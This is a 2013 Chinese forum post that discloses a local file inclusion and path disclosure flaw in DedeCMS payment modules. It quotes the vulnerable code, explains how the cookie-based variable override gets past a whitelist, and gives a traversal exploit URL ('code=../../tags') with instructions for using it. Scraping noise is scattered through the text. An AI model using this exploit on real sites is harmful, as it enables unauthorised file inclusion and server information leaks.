找回密码
 立即注册
查看: 2326|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
& V( i& a' N9 m$ u7 C: F- o* g3 R3 a: ^
出现漏洞的两个文件为:% x8 }- y2 N, `! i
Include/payment/alipay.php$ R+ [2 j5 |/ C0 I2 _  e2 X* d
Include/payment/yeepay.php
9 Y* z/ U, `  o2 {+ m2 B漏洞均出现在respond方法里,估计这两个文件是临时工写的。
  w: h- M, A6 Y6 A7 c! o$ o! C
7 q- u( v4 ^7 H& g: g, E9 L  o7 aInclude/payment/alipay.php
& P' j, a8 n: l6 E& Y3 Y+ R% t( ~- H+ Z4 P4 Z' v4 C- n
......
" b2 u- {$ X, h/ {* D' E+ q   function respond()6 ]( I1 P9 I0 v* m3 K
    {
2 ~% `* x+ T8 v        if (!empty($_POST))
. L* s( f9 B. b- [2 K9 Q3 O0 V4 {        {: U& I$ F9 i$ n7 d: ~
            foreach($_POST as $key => $data)
. y* j% c' m+ F  S8 }4 K            {
1 k1 S* _" F/ H& w, V! x) `1 N/ L                $_GET[$key] = $data;
" J0 L2 @' K: B; w            }
' f% k7 o- ]" o$ R- p% f        }/ I. y: M/ I/ l; U9 g  \
        /* 引入配置文件 */9 x4 r; `% D$ X$ @6 O5 k) Y
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';, E3 i0 A! l# w; |2 Q3 O# V7 i8 x
...... + ~6 y% a8 P- @9 b& V( ~. ^
  m0 V' C. e$ h& R+ @9 A+ W

! M% `' v" `, J' r: b* Y0 X大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
. ]& v  ~. `2 y1 F1 A% I- N0 T$ g. Y6 l- b
Include/payment/yeepay.php5 n$ [4 _5 {2 X6 @

5 Q, e; r2 Q) P % _+ r# e$ R1 J$ E+ k
- O5 `/ R0 F* D4 {# h; X
......1 T! t7 Z3 x5 u$ B! `" U0 g
    function respond(): K: j' a0 i5 J% Y- X# h7 ?
    {
) S. D6 q; F8 c8 d, `3 Z4 G 2 n' [5 _2 D( F* b& U
        /* 引入配置文件 */; x# c. ^8 L8 ?, L9 x3 e# ~$ ?
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
0 B" S1 i7 ~3 o. J- K
8 [3 c! W5 k3 t' a8 `* Q        $p1_MerId = trim($payment['yp_account']);
8 L) Z$ e& U7 f/ ^7 j        $merchantKey = trim($payment['yp_key']);- q' L( V  H9 B# u( ?
...... & q. w  y, K9 ]: M* j/ O' h3 [3 U# D
# U% d% h4 N  Q: l

" _! {9 h" ~: _6 f" h 1 F7 {5 H8 i( B. ?# ?4 j9 \+ F( r
  [" h( j/ _! B' U. {
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
2 h4 x0 ]2 \+ Q' B7 _. A1 `
" i, C5 ]2 o0 M% i$ Y这两个方法在plus/carbuyaction.php文件调用。
0 I% y$ x7 _% ?5 S" h9 p/ ]& g$ s; U0 Y3 C
plus/carbuyaction.php
# C, t0 ~, z# d! T% q' |: Q+ U* k$ ~4 Y$ h
......+ o3 q3 ~9 s' S4 C- ]
} else if ($dopost == 'return') {
) n) G3 }5 f  M/ ]    $write_list = array('alipay', 'bank', 'cod', 'yeepay');% p+ z6 u/ q0 c
    if (in_array($code, $write_list))) I. O3 q/ e. C7 I' P- l
    {
4 x( G) m& y+ O( R1 T7 {. X$ E        require_once DEDEINC.'/payment/'.$code.'.php';- q5 S+ U% L. _% v6 p9 |
        $pay = new $code;5 X; S4 F; X! j/ r7 @
        $msg=$pay->respond();. p: V" A& ~: U. N+ f' Z; y
        ShowMsg($msg, "javascript:;", 0, 3000);1 A; S' n5 X- P, Z
        exit();  1 t' G$ @, R+ a
    } else {$ d% {% d  N  c) s2 K
        exit('Error:File Type Can\'t Recognized!');/ X: N& o3 k, H( \+ G
    }- R8 p" k$ f0 m1 F+ {9 S8 n5 r
}
4 d  B5 ^' o' x$ m" q; W+ ]2 ~3 y......
% D! J9 b' L6 |1 _0 `$ n  ` 9 X0 O& P( U( F- a5 b1 z0 L5 I/ `
. y- @8 q0 @8 ~$ X

, m4 V  D, J$ U* c
7 ^9 y2 D+ @0 R. W 6 {2 t, t) z. i' s% F7 R

% K; h. Y+ Z2 F0 @7 A" T- h大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。, h0 M" U4 d; ?, [7 s. L9 O
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。- T6 I1 |/ K% [  L) `

4 }% A- W* B" `5 f( T9 B4 P! Y+ o回到include/common.inc.php来看看他的机制。! s0 v2 ^  f& H
6 s$ \9 a; d" t7 k$ W
' m* w9 I2 \) n! b; M1 l  S
( \/ n! T/ U: b/ U0 N
......) |+ n7 I# t- I' p7 F
foreach(Array('_GET','_POST','_COOKIE') as $_request)8 i2 L% @: z, X! W$ W9 a3 n
{
. @2 q5 T9 A3 w$ b* ]0 `        foreach($$_request as $_k => $_v)
" c5 v8 F: T3 y8 `/ i        {! p. S" m0 X  R! ?# ]5 T% d+ W
                if($_k == 'nvarname') ${$_k} = $_v;$ ^) z; u* `5 p3 @- ^" T
                else ${$_k} = _RunMagicQuotes($_v);
* K3 U' O: Q, p0 ~, {        }
" |9 W) H( \$ T3 V4 |}5 X7 `; J0 s$ U. R% ~) y: k
...... ; @  J! G0 S! X; f6 U: n
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:6 F0 p! F6 ]8 @2 a7 j& ]
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表